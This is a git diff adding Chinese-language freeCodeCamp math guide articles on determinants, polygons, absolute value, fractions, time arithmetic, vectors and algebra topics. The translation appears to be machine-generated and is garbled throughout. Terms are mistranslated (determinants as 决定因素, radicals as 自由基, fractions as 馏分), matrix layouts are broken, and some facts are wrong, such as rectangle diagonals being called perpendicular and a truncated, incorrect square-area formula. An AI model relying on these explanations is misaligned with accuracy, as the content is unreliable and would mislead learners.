+2乘2矩阵的行和矢量可以与笛卡尔平面上的点相关联，使得每行形成2D矢量。这两个矢量形成一个平行四边形，如下图所示。 证明： 令矢量为M（a，b），N（c，d）源自2-D平面中的原点，它们之间具有角度（ _θ_ > 0）（一个矢量的头部接触另一个矢量的尾部）。但在这里它并不重要，因为sin（theta）= sin（2（pi）-theta）。然后另一个点是P（a + c，b + d）。平行四边形的面积是垂直距离的一个点说N（c，d）到基矢量，M（a，b）乘以基矢量的长度，| M（a，b）|。平行四边形由两个三角形组成，因此面积是三角形的两倍。 设垂直距离为h h = | N（c，d）| \* sin（ _theta_ （两个向量之间的角度）） B = | M（A，B）| 面积= h \* b
+
+行列式的绝对值等于平行四边形的面积。
+
+![](https://upload.wikimedia.org/wikipedia/commons/thumb/a/ad/Area_parallellogram_as_determinant.svg/1044px-Area_parallellogram_as_determinant.svg.png) [这](https://i.stack.imgur.com/gCaz3.png)是一个有趣的视觉证明这个属性。
+
+注意：如果行列式等于零，则系统没有解（交叉点）（也就是线是平行的）。
+
+#### 更多信息：
+
+*   [矩阵的行列式](https://github.com/freeCodeCamp/guides/blob/master/src/pages/mathematics/determinant-of-a-matrix/index.md "矩阵的行列式")
+*   [维基百科：2x2行列式](https://en.wikipedia.org/wiki/Determinant#2_.C3.97_2_matrices)
+
+![IMG](https://ncalculators.com/images/formulas/2x2-matrix-determinant.jpg)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/2d-shapes-polygons-and-more/index.md b/client/src/guide/chinese/mathematics/2d-shapes-polygons-and-more/index.md
new file mode 100644
index 0000000000..bf608a9389
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/2d-shapes-polygons-and-more/index.md
@@ -0,0 +1,35 @@
+---
+title: 2d Shapes Polygons and More
+localeTitle: 2d形状多边形等
+---
+## 2d形状多边形等
+
+'2D'代表二维。 2D形状是具有两个维度的任何形状。想想片刻有两个维度意味着什么。如果我们只有一个维度可以使用，我们只能在一行中向后或向前移动。线是一维的。另一方面，如果我们有两个维度，我们可以前进和后退一条线并向任何方向转弯以开始一条新线。我们基本上可以在平坦的表面上旅行。在数学中，平面称为平面。平面是二维形状的一个示例。飞机基本上是您将找到的最大的纸张。事实上，它是一张纸，它永远不会结束。思考二维形状的一种方法是在一张纸上平放的任何东西。
+
+任何可以在平面上完美地和完全地描绘的n边形图形是2D图形或多边形。这意味着在单个平面上具有所有点的任何图形都是平面图形。一些例子是
+
+### 长方形
+
+边数 - 4 特别信息 - 有四个边，相对边平行，相邻边长相同或不等（a和b） 所有内角都是90度 360度内部角度的总和 对角线相互垂直并相互平分
+
+面积 - a \* b 周长 - 2（a + b）
+
+### 广场
+
+边数 - 4 特别信息 - 有四个边，相对的两边平行，两边长度相同（一） 所有内角都是90度 360度内部角度的总和 对角线相互垂直并相互平分
+
+面积 - 1/2（基数 周界 - 4a
+
+### 三角形
+
+边数 - 3 特别信息 - 高度是从顶点到相对侧（基部）的垂直距离，可以位于三角形的内部或外部 所有角度的总和是180度
+
+面积 - 1/2（基础\*高度）
+
+### 圈
+
+边数 - 无限（具有无限边数的多边形是圆） 特别信息 - 穿过360度的中心角度 始终从称为圆心的点定义 从中心到周边点的垂直距离称为半径（r） 任何穿过圆圈并在两端接触周边的线都称为弦 穿过圆心的弦是直径
+
+面积 - {pi} \* r \* r 周长 - 2 \* {pi} \* r
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/3-by-3-determinants/index.md b/client/src/guide/chinese/mathematics/3-by-3-determinants/index.md
new file mode 100644
index 0000000000..ae89562d32
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/3-by-3-determinants/index.md
@@ -0,0 +1,65 @@
+---
+title: 3 by 3 Determinants
+localeTitle: 3乘3的决定因素
+---
+## 3乘3的决定因素
+
+考虑以下矩阵，我们将其称为A：
+
+一个
+
+b
+
+C
+
+d
+
+Ë
+
+F
+
+G
+
+H
+
+一世
+
+然后，表示为_det（A）_的该矩阵的行列式由下式给出：
+
+_det（A）= a \*（e \* i - h \* f） - b \*（d \* i - f \* g）+ c \*（d \* h - e \* g）_
+
+请记住上面表达式中的操作顺序。
+
+例如，考虑以下矩阵，我们称之为B：
+
+1
+
+2
+
+3
+
+0
+
+\-3
+
+五
+
+\-10
+
+4
+
+7
+
+_det（B）_由上式给出。我们应用以下公式：
+
+_det（B）= 1 \*（（ - 3）\* 7 - 5 \* 4） - 2 \*（0 \* 7 - 5 \*（ - 10））+ 3 \*（0 \* 4 - （ - 3）\*（ - 10） ））_ ，我们简化为：
+
+_det（B）= 1 \*（（ - 21） - 20） - 2 \*（0 - （ - 50））+ 3 \*（0 - （30））_ ，我们简化为：
+
+_det（B）=（ - 41） - 100 - 90 = -231_
+
+#### 更多信息：
+
+*   MathIsFun上[矩阵](https://www.mathsisfun.com/algebra/matrix-determinant.html)的行列式
+*   [3x3行列式计算器](http://www.wolframalpha.com/widgets/view.jsp?id=7fcb0a2c0f0f41d9f4454ac2d8ed7ad6)
+*   维基百科上的[决定因素](https://en.wikipedia.org/wiki/Determinant)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/absolute-value/index.md b/client/src/guide/chinese/mathematics/absolute-value/index.md
new file mode 100644
index 0000000000..cacdde2503
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/absolute-value/index.md
@@ -0,0 +1,42 @@
+---
+title: Absolute Value
+localeTitle: 绝对值
+---
+## 绝对值
+
+绝对值是数字的正值。 您可以将数字的绝对值视为距离零的距离。 它可以定义为，
+
+![IMG](https://latex.codecogs.com/gif.latex?%5Cdpi%7B120%7D%20%5Clarge%20y%20%3D%20%5Cleft%20%7C%20x%20%5Cright%20%7C%20%3D%20%5Cleft%5C%7B%5Cbegin%7Bmatrix%7D%20x%20%26%20for%20%5C%2C%20x%20%5Cgeq%200%20%5C%5C%20-x%20%26%20for%20%5C%2Cx%20%3C0%20%5Cend%7Bmatrix%7D%5Cright.)
+
+![](https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Absolute_value.svg/2000px-Absolute_value.svg.png)
+
+在这里你可以看到在y = | x |的图形中，如果-2输入到函数中，则2是结果。这是因为-2与零的距离为2。数字的绝对值永远不会是负数。
+
+### 例子
+
+*   **简化| -5 |**
+    
+    | -5 | = 5
+    
+*   **简化| 0（5）|**
+    
+    | 0（5）| = | 0 | = 0
+    
+*   **简化 - | -1 |**
+    
+    \- | -1 | = - （1）= -1
+    
+*   **简化| -5（-3）+ 1 |**
+    
+    | -5（-3）+ 1 | = | 15 + 1 | = | 16 | = 16
+    
+*   **简化| 8 |**
+    
+    | 8 | = 8
+    
+*   **简化|（-5）^ 3 |** | -125 | = 125
+    
+
+#### 更多信息：
+
+[绝对值](http://www.purplemath.com/modules/absolute.htm "Absolute Value")
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/accuracy-and-precision/index.md b/client/src/guide/chinese/mathematics/accuracy-and-precision/index.md
new file mode 100644
index 0000000000..58207bc270
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/accuracy-and-precision/index.md
@@ -0,0 +1,35 @@
+---
+title: Accuracy and Precision
+localeTitle: 准确度和精度
+---
+## 准确度和精度
+
+精度和精度通常可以互换使用，但意味着不同的东西。
+
+### 准确性与真实价值接近
+
+在科学和工程学中，测量的准确性是该测量值与被测量的真实值的接近程度或真实程度。
+
+例如，测量已知长度1米为1米的尺子将具有高精度;测量与0.8米相同距离的标尺精度较低。另一个例子是如果你试图测量pi，准确度将取决于你的测量值与已知pi值的接近程度：3.141592 ...
+
+### 精确度是重复测量的可变性
+
+测量的精确度是该测量的可重复性，并表示其中的可变性。换句话说，精度每次都能够接近或相同的测量。
+
+例如，如果上面提到的测量1米为0.8米的尺子，在连续测量中测量的距离为0.80米，0.79米，0.80米，0.81米和0.80米，尺子将非常精确（测量值具有低变异性） ，虽然不准确。另外，使用上面的pi示例，如果您的测量结果不断达到3.12，那么它们是精确的，但不准确。
+
+### 精度和准确度彼此独立
+
+测量精度与测量精度无关。同样，测量的准确性与其精度无关。这意味着测量可以是精确的，低精度，准确和低精度，精确和准确，不精确和不准确。
+
+### 篮球比喻
+
+理解准确性和精确度的一个很好的比喻是想象一个篮球运动员投篮。如果球员准确射门，他的目标将始终将球接近或进入篮筐。如果球员精准射门，他的目标将始终将球带到可能接近或不接近篮筐的同一位置。一个好的球员将准确和精确地通过每次和每次在篮筐中进行同样的方式射球。
+
+![](http://cdn.antarcticglaciers.org/wp-content/uploads/2013/11/precision_accuracy.png)
+
+#### 更多信息：
+
+*   [统计学的准确性和精确性如何](http://www.statisticshowto.com/accuracy-and-precision/)
+*   [埃文斯先生科学网站的准确性与精确性](https://sites.google.com/a/apaches.k12.in.us/mr-evans-science-website/accuracy-vs-precision)
+*   [维基百科的准确性和精确性](https://en.wikipedia.org/wiki/Accuracy_and_precision)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/add-fractions-with-unlike-denominators/index.md b/client/src/guide/chinese/mathematics/add-fractions-with-unlike-denominators/index.md
new file mode 100644
index 0000000000..84e4d43b16
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/add-fractions-with-unlike-denominators/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Fractions with Unlike Denominators
+localeTitle: 添加与分母不同的分数
+---
+## 添加与分母不同的分数
+
+为了使用不同的分母添加分数，您需要重写分数，以便它们都具有相同的分母。这样做的一种方法是将所有不同的分母相乘以创建一个共同的分母。
+
+### 例子
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/guide-article-adding-fractions.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/adding-and-subtracting-negative-numbers/index.md b/client/src/guide/chinese/mathematics/adding-and-subtracting-negative-numbers/index.md
new file mode 100644
index 0000000000..5e3c632907
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/adding-and-subtracting-negative-numbers/index.md
@@ -0,0 +1,21 @@
+---
+title: Adding and Subtracting Negative Numbers
+localeTitle: 添加和减去负数
+---
+## 添加和减去负数
+
+增加和减去正数是相当直接的，但添加和减去负数是什么意思？让我们看一个真实世界的例子，以获得更好的主意。假设我们有一个带有一些气球的篮子将它向上推，并将一些重物系在上面并将其向下推。想象一下将气球向上拉为正数的力量，以及将其向下拉为负数的力。如果我们添加更多权重，就像我们添加一个负数而篮子被拉下来。如果我们移除重量，我们减去一个负数，篮子就会被拉上。
+
+### 例子
+
+（-1）+ 3 = 2
+
+（-3）+（ - 3）= -6
+
+（-2） - 4 = -6
+
+（-10）+ 2 = -8
+
+20 +（-44）= -24
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/adding-and-subtracting-radicals-and-square-roots/index.md b/client/src/guide/chinese/mathematics/adding-and-subtracting-radicals-and-square-roots/index.md
new file mode 100644
index 0000000000..9c0525b7d7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/adding-and-subtracting-radicals-and-square-roots/index.md
@@ -0,0 +1,23 @@
+---
+title: Adding and Subtracting Radicals and Square Roots
+localeTitle: 添加和减去自由基和平方根
+---
+## 添加和减去自由基和平方根
+
+您可以像添加其他类型的数字一样添加“like”平方根。 “喜欢”平方根是具有相同部首的术语。
+
+![公式显示2倍平方根3加2倍平方根3，箭头指向平方根部分作为基础部分](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img1.png?raw=true)
+
+上述条款可简化如下：
+
+![公式显示2倍的平方根3加2倍平方根3等于（2 + 2）倍3的平方根等于3倍平方根](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img2.png?raw=true)
+
+在某些情况下，可以简化具有不同基团的表达。请注意，100和9的主要根是方形数。
+
+![显示100的平方根加上9的平方根的公式等于10加3等于13](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img3.png?raw=true)
+
+![公式显示4倍平方根100加3倍平方根9等于4倍10加3倍3等于49](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img4.png?raw=true)
+
+请记住，如果没有相同的条款，您可以简化多少限制。
+
+![公式显示2倍平方根2加2倍平方根2加3平方根等于4倍平方根加3平方根](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img5.png?raw=true) ![\ sqrt {12} + \ sqrt {3} = \ sqrt {4 \ times 3} + \ sqrt {3}](http://www.sciweavers.org/tex2img.php?eq=%20%5Csqrt%7B12%7D%20%2B%20%5Csqrt%7B3%7D%20%3D%20%5Csqrt%7B4%20%5Ctimes%203%7D%20%2B%20%5Csqrt%7B3%7D&bc=White&fc=Black&im=jpg&fs=12&ff=arev&edit=0)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/adding-and-subtracting-time/index.md b/client/src/guide/chinese/mathematics/adding-and-subtracting-time/index.md
new file mode 100644
index 0000000000..6ab0f8afc7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/adding-and-subtracting-time/index.md
@@ -0,0 +1,43 @@
+---
+title: Adding and Subtracting Time
+localeTitle: 添加和减去时间
+---
+## 添加和减去时间
+
+有一些基本规则可以指导时间的加减。
+
+他们来了：
+
+60秒制作1分钟 60分钟制作1小时 1440分钟制作1天 24小时制作1天 7天制作1周 52周使1年 365天制作1年 366天赚1闰年 12个历月或13个阴历月为1年
+
+例如，从4小时减去1小时15分30秒将导致以下情况
+
+第1行：4 00 00 第2行：1 15 30 -------- 2 44 30 --------
+
+在上面的第1行，（减法和加法）将从最右边的数字开始（在这种情况下为00）。从0中扣除30通常是不可能的，所以我们要做的是去下一组数字（00）看看我们是否可以借钱。在这种情况下，这是不可能的，所以我们转到下一个数字（最左边，在这种情况下是1小时 - 记住60分钟，1小时）。
+
+这就是它在这一点上的期望
+
+3 60 00 1 15 30
+
+接下来我们需要从60分钟借1分钟，得到我们下面的内容。但请记住，60秒制作1分钟。减少60乘1单位导致59，所以我们有：
+
+3 59 60 1 15 30
+
+到现在为止，我们可以进行扣除
+
+60减30是30 59减去15是44 3减1是2
+
+因此，从4小时减去1小时15分30秒将导致2小时44分30秒。
+
+这个有趣的youtube视频为孩子们也可能是有用的，因为它归结为非常基础。 https://www.youtube.com/watch?v=HrxZWNu72WI
+
+让我们看一个额外的例子，加入3小时45分20秒到2小时20分50秒
+
+H M S. 3 45 20 2 20 50
+
+20秒加50秒是70秒。召回60秒，1分钟。因此70秒将是1分10秒 45分钟加上20分钟是65分钟。召回60分钟是1小时。因此65分钟将是1小时5分钟 3加2是5（小时）
+
+然后我们需要做补充。
+
+5小时+ 1小时5分钟+ 1分10秒将是6小时6分10秒。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/adding-and-subtracting-vectors/index.md b/client/src/guide/chinese/mathematics/adding-and-subtracting-vectors/index.md
new file mode 100644
index 0000000000..3f8148317c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/adding-and-subtracting-vectors/index.md
@@ -0,0 +1,19 @@
+---
+title: Adding and Subtracting Vectors
+localeTitle: 添加和减去矢量
+---
+## 添加和减去矢量
+
+在线性代数中，两个向量（A和B）的和A + B等于A和B的相应分量之和。例如，如果向量A是`{1, 3, 4}` ，则向量B是`{2, 5, 9}` ，和A + B是`{1+2, 3+5, 4+9} = {3, 8, 13}` 。
+
+![矢量加法的可视化。](http://mathworld.wolfram.com/images/eps-gif/ParallelogramLaw_1000.gif) 1
+
+类似地，两个向量之间的差异AB（再次，A和B）等于A和B的相应分量之间的差异。与上述向量的差异是`{1-2, 3-5, 4-9} = {-1, -2, -5}` 。
+
+#### 更多信息：
+
+[Wolfram Mathworld上的矢量加法](http://mathworld.wolfram.com/VectorAddition.html) [维基百科上的矢量加法和减法](https://en.wikipedia.org/wiki/Euclidean_vector#Addition_and_subtraction)
+
+### 资料来源：
+
+1.  [Wolfram Mathworld上的矢量加法](http://mathworld.wolfram.com/VectorAddition.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/adding-fractions/index.md b/client/src/guide/chinese/mathematics/adding-fractions/index.md
new file mode 100644
index 0000000000..eec0792f86
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/adding-fractions/index.md
@@ -0,0 +1,59 @@
+---
+title: Adding Fractions
+localeTitle: 添加分数
+---
+## 添加分数
+
+分数通常用于表示数字，该数字是两个数字的比率。 考虑分数五分之四 ，这里4被称为分子和5被称为分母。
+
+#### 添加具有共同分母的分数
+
+添加两个分数的分子，并将结果放在分母上。
+
+###### 例1
+
+考虑馏分五分之四和五分之三
+
+1.  分数的分母很常见。
+2.  分子是4和3
+3.  添加分子，4 + 3 = 7
+4.  将结果放在公分母上
+5.  如果可能，简化结果分数
+
+ 五分之四 + 3/5 = 7/5 
+
+###### 例2
+
+ 一十六分之五 + 3/16 = 8位 / 16（进一步简化它，8位 / 16 = 1/2） 
+
+#### 添加具有不同分母的分数
+
+1.  使用公分母将分数转换为等效分数
+    
+2.  要将两个分数转换为公分母，请将分数的分子和分母与另一个分数的分母相乘。
+    
+3.  既然分数具有共同的分母，则添加两个分数的分子并将结果放在分母上
+    
+    考虑一下， a / b和c / d是具有不同分母的分数，您可以在下面的单个步骤中添加这些分数，
+    
+
+ a / b + c / d = （a \* d）+（b \* c） / （b \* d） 
+
+###### 例
+
+考虑馏分5/6和15分之5
+
+1.  分母是不同的。所以你需要让分母变得普遍
+2.  在此之前，如果可能，简化分数。在这种情况下，15分之5可以简化为三分之一 。这里是5/15和三分之一被称为等效馏分。
+3.  简化后，分数是5/6和三分之一 。
+4.  现在要添加这些分数，你必须使分母通用
+5.  将分数的分子和分母乘以另一分母的分母
+6.  对于级分5/6，其它分数的分母是3.对于分数1/3，其它分数的分母为6
+
+ （（5 \* 3）+（1 \* 6））/（6×3）= 十八分之二十一 
+
+7.  将所得的级分是一十八分之二十一 。这可以进一步简化为7/6
+
+ 5/6 + 5/15 = 7/6 
+
+7/6相当于1和1/6的
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/graphing-quadratics-vertex-form/index.md b/client/src/guide/chinese/mathematics/algebra/graphing-quadratics-vertex-form/index.md
new file mode 100644
index 0000000000..bb98a4bc4e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/graphing-quadratics-vertex-form/index.md
@@ -0,0 +1,25 @@
+---
+title: Graphing Quadratics Vertex Form
+localeTitle: 绘制二次曲面顶点形式
+---
+## 绘制二次曲面顶点形式
+
+抛物线方程的顶点形式：
+
+![显示y的公式等于一个次数（x减去h） - 平方加k](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img1.png?raw=true)
+
+点（h，k）是顶点。当a为正时，抛物线向上打开。
+
+![具有（h，k）标记的最低点（顶点）的抛物线（U形图）](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img2.png?raw=true)
+
+当a为负时，抛物线向下打开。
+
+![具有最高点（顶点）的颠倒抛物线（U形图）标有（h，k）](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img4.png?raw=true)
+
+当| a | <1抛物线垂直压缩。
+
+![更广泛的抛物线版（U形图）](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img5.png?raw=true)
+
+当| a | > 1抛物线变窄。
+
+![抛物线的窄版（U形图）](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img6.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/index.md b/client/src/guide/chinese/mathematics/algebra/index.md
new file mode 100644
index 0000000000..792946efff
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/index.md
@@ -0,0 +1,17 @@
+---
+title: Algebra
+localeTitle: 代数
+---
+## 代数
+
+代数是一个广泛的数学部分，专注于操纵方程中的常数和变量， 其中表示数字的字母根据算术规则组合。 代数的主要分支如下。 初等代数：对这些想法的介绍。涵盖了一个或多个变量中多项式方程的解以及函数和图的基本属性。 摘要代数：对自身代数结构的研究。 线性代数：向量空间和线性映射的研究。
+
+#### 更多信息：
+
+[维基百科文章](https://en.wikipedia.org/wiki/Algebra)  
+[学习可汗学院的代数](https://www.khanacademy.org/math/algebra-home)
+
+#### 资源：
+
+[定义](https://www.merriam-webster.com/dictionary/algebra)  
+[Wolfram Mathworld](http://mathworld.wolfram.com/Algebra.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/intro-to-rationalizing-the-denominator/index.md b/client/src/guide/chinese/mathematics/algebra/intro-to-rationalizing-the-denominator/index.md
new file mode 100644
index 0000000000..01684154cf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/intro-to-rationalizing-the-denominator/index.md
@@ -0,0 +1,21 @@
+---
+title: Intro to Rationalizing the Denominator
+localeTitle: 合理化分母的介绍
+---
+## 合理化分母的介绍
+
+如果你不能以a / b的形式表达分数的分母，其中a和b是整数，那么分母是不合理的。为了简化分数，我们应该合理化分母。合理化分母可以帮助您解决某些方程式。有几种方法可以做到这一点。
+
+### 乘以Root
+
+我们可以将顶部和底部乘以一个根。请注意，我们将分数乘以root 2除以它本身，这只是另一种方式或写1。
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art4img1.png?raw=true)
+
+### 乘以一个共轭
+
+我们还可以将顶部和底部乘以共轭。
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art4img2.png?raw=true)
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art4img3.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/piecewise-functions-graphs/index.md b/client/src/guide/chinese/mathematics/algebra/piecewise-functions-graphs/index.md
new file mode 100644
index 0000000000..ac9786f2e5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/piecewise-functions-graphs/index.md
@@ -0,0 +1,21 @@
+---
+title: Piecewise Functions Graphs
+localeTitle: 分段函数图
+---
+## 分段函数图
+
+对于`x`不同间隔，分段函数的定义不同。为了找到`y` ，你使用`x`来查找它所处的间隔。让我们看一个简单的分段函数及其图形。
+
+![分段函数图示例1](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art5img1.png?raw=true)
+
+您可以看到，当`x`小于或等于1时， `y`等于3，当`x`大于1时， `y`等于x。它几乎就像通过将不同的功能组合成一个来创建分段功能。
+
+![分段函数图示例2](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art5img2.png?raw=true)
+
+在上图中，您可以看到`x`平方可以是一个独立的函数，它将为所有实数定义。相反，我们已经定义了分段函数，因此只有大于-5且小于5的`x`值才输入到`x`平方。请注意，此图形在`x = -5`和`x = 5`似乎有两条“边界线”，第一条图形在`x = 1`处有一条“边界线”。
+
+### 连续/非连续分段函数
+
+如何判断特定的分段函数是否连续？我们来看几个例子。
+
+![连续/非连续分段函数图示例](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art5img3.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/polynomial-factorization/index.md b/client/src/guide/chinese/mathematics/algebra/polynomial-factorization/index.md
new file mode 100644
index 0000000000..d976674efc
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/polynomial-factorization/index.md
@@ -0,0 +1,35 @@
+---
+title: Polynomial Factorization
+localeTitle: 多项式因式分解
+---
+## 多项式因式分解
+
+保理多项式很像是对常规数进行分解。目标是找到从多项式中均匀分出的数字或多项式。与分解相反，您可以简化 像这样的表达式：
+
+![7（x + 4）= 7x + 28](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img1.png?raw=true)
+
+您可以将因子考虑为相反，例如在这个例子中我们首先找到术语（9）的最大公因子（GCF），然后重写多项式：
+
+![9x ^ 2 + 72 = 9（x ^ 2 + 8）](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img2.png?raw=true)
+
+让我们再做一些例子。
+
+![2x  -  10](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img3.png?raw=true)
+
+您可以将第一项计算为（2）（x），将第二项计入（-5）（2）。唯一的共同因素是2。 将公因子移到我们重写的多项式的开头。
+
+![2x  -  10 = 2（](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img4.png?raw=true)
+
+当你从2x中除去2时，你会留下x
+
+![2x  -  10 = 2（x](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img5.png?raw=true)
+
+当你从-10中除以2时，你剩下-5。
+
+![2x  -  10 = 2（x  -  5）](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img6.png?raw=true)
+
+### 常见错误
+
+![x ^ 6y ^ 5 + xy = xy（x ^ 5y ^ 4 + 1）](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img7.png?raw=true)
+
+在进行保理时，通常情况下，您最终会得到一个产生1的除法。确保将其包括在内 括号。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/recursive-formulas-for-arithmetic-sequences/index.md b/client/src/guide/chinese/mathematics/algebra/recursive-formulas-for-arithmetic-sequences/index.md
new file mode 100644
index 0000000000..07d543655b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/recursive-formulas-for-arithmetic-sequences/index.md
@@ -0,0 +1,49 @@
+---
+title: Recursive Formulas for Arithmetic Sequences
+localeTitle: 算术序列的递归公式
+---
+## 算术序列的递归公式
+
+### 什么是算术序列？
+
+**序列**是数字列表，其中对一个数字执行相同的操作以获得下一个数字。 **算术序列** 具体是指通过加或减一个值构成的序列 - 称为**公共差异** - 来获得下一个术语。在 为了有效地讨论序列，我们使用一个公式，在放入索引列表时构建序列。通常，这些公式给出一个字母的名称，后跟括号中的参数，以及构建序列的表达式在右手侧。
+
+`a(n) = n + 1`
+
+以上是算术序列的公式的示例。
+
+### 例子
+
+序列|式 --------- | --------- 1,2,3,4，... | a（n）= n + 1 3,8,13,18，... | b（n）= 5n - 2
+
+### 递归公式
+
+注意：数学家从1开始计数，因此按惯例， `n=1`是第一个术语。所以我们必须定义第一个术语是什么。然后我们有 找出并包括共同的差异。再看看这些例子，
+
+序列|公式|递归公式 --------- | --------- | ------------------- 1,2,3,4，... | a（n）= n + 1 | a（n）= a（n-1）+ 1，a（1）= 1 3,8,13,18，... | b（n）= 5n - 2 | b（n）= b（n-1）+ 5，b（1）= 3
+
+### 找到公式（给出第一项的序列）
+```
+1. Figure out the common difference 
+    Pick a term in the sequence and subtract the term that comes before it. 
+ 2. Construct the formula 
+    The formula has the form: `a(n) = a(n-1) + [common difference], a(1) = [first term]` 
+```
+
+### 找到公式（给定没有第一项的序列）
+```
+1. Figure out the common difference 
+    Pick a term in the sequence and subtract the term that comes before it. 
+ 2. Find the first term 
+    i. Pick a term in the sequence, call it `k` and call its index `h` 
+    ii. first term = k - (h-1)*(common difference) 
+ 3. Construct the formula 
+    The formula has the form: `a(n) = a(n-1) + [common difference], a(1) = [first term]` 
+```
+
+#### 更多信息：
+
+有关此主题的更多信息，请访问
+
+*   [维基百科](https://en.wikipedia.org/wiki/Arithmetic_progression)
+*   [可汗学院](https://www.khanacademy.org/math/algebra/sequences/constructing-arithmetic-sequences/a/writing-recursive-formulas-for-arithmetic-sequences)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/simplify-square-roots/index.md b/client/src/guide/chinese/mathematics/algebra/simplify-square-roots/index.md
new file mode 100644
index 0000000000..1d6c81a178
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/simplify-square-roots/index.md
@@ -0,0 +1,24 @@
+
+---
+title: Simplify Square Roots
+localeTitle: undefined
+---
+## 简化平方根
+
+为了简化平方根，了解基本产品属性非常重要。
+
+![显示激进产品属性的图像。 A的平方根乘以B的平方根等于A的平方根乘以B.](https://raw.githubusercontent.com/hayleycd/images/master/multiplying_radicals.jpeg)
+
+激进产品属性向我们显示，两个数字相乘的平方根相当于第一个数字的平方根乘以第二个数字的平方根。
+
+第二个重要的事情是完美广场的概念。当整数乘以其自身时，结果就是完美正方形。
+
+![图像显示完美的正方形完美正方形的示例包括1,4,9,25,36等。](https://raw.githubusercontent.com/hayleycd/images/master/perfect_squares.jpeg)
+
+如果您尝试取平方根的数字具有完美平方因子，则可以简化平方根。如果是这样，可以使用Radical Product Property来简化。下面的例子简化了48的平方根并简化了75的平方根。
+
+![图像显示48的平方根被简化为4乘以3的平方根，75的平方根被简化为5乘以3的平方根。](https://raw.githubusercontent.com/hayleycd/images/master/radical_examples.jpeg)
+
+#### 更多信息：
+
+*   [可汗学院关于简化平方根的文章](https://www.khanacademy.org/math/algebra/rational-exponents-and-radicals/alg1-simplify-square-roots/a/simplifying-square-roots-review)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/simplifying-square-roots/index.md b/client/src/guide/chinese/mathematics/algebra/simplifying-square-roots/index.md
new file mode 100644
index 0000000000..2953bbb81b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/simplifying-square-roots/index.md
@@ -0,0 +1,31 @@
+---
+title: Simplifying Square Roots
+localeTitle: 简化平方根
+---
+### 示例：简化![](https://latex.codecogs.com/gif.latex?\sqrt{180} "\ SQRT {180}")
+
+解决步骤：
+
+*   将180分为素数因子的乘积： ![](https://latex.codecogs.com/gif.latex?180&space;=&space;2^2&space;*&space;3^2&space;*&space;5 "180 = 2 ^ 2 * 3 ^ 2 * 5")
+*   使用激进的产品属性![](https://latex.codecogs.com/gif.latex?\sqrt{ab}&space;=&space;\sqrt{a}\sqrt{b}&space;\Rightarrow&space;\sqrt{180}&space;=&space;\sqrt{2^2}\sqrt{3^2}\sqrt{5}=2*3\sqrt{5}=6\sqrt{5} "\ sqrt {ab} = \ sqrt {a} \ sqrt {b} \ Rightarrow \ sqrt {180} = \ sqrt {2 ^ 2} \ sqrt {3 ^ 2} \ sqrt {5} = 2 * 3 \ sqrt { 5} = 6 \ SQRT {5}")  
